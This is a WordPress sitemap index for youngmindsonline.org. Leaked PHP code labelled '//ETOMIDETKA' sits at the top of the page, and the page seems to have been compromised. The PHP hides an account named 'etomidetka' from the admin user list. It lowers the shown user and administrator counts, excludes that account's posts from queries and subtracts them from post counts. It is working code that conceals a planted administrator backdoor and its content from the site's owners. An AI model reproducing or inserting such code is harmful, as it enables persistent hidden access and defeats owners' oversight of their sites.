
//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});



<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://youngmindsonline.org/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-3.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-4.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-5.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-6.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-7.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-8.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-9.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-10.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-11.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-12.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-13.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-14.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-15.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-16.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-17.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-18.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-19.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-20.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-21.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-22.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-23.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-24.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-25.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-26.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-27.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-28.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-29.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-30.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-31.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-32.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-33.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-34.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-35.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-36.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-37.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-38.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-39.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-40.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-41.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-42.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-43.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-44.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-45.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-46.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-47.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-48.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-49.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-50.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-51.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-52.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-53.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-54.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-55.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-56.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-57.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-58.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-59.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-60.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-61.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-62.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-63.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-64.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-65.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-66.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-67.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-68.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-69.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-70.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-71.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-72.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-73.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-74.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-75.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-76.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-77.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-78.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-79.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-80.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-81.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-82.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-83.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-84.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-85.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-86.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-87.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-88.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-89.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-90.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-91.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-92.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-93.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-94.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-95.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-96.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-97.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-98.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-99.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-100.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-101.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-102.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-103.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-104.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-105.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-106.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-107.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-108.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-109.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-110.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-111.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-112.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-113.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-114.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-115.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-116.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-117.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-118.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-119.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-120.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-121.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-post-122.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-taxonomies-category-2.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-taxonomies-category-3.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-taxonomies-post_format-1.xml</loc></sitemap><sitemap><loc>https://youngmindsonline.org/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
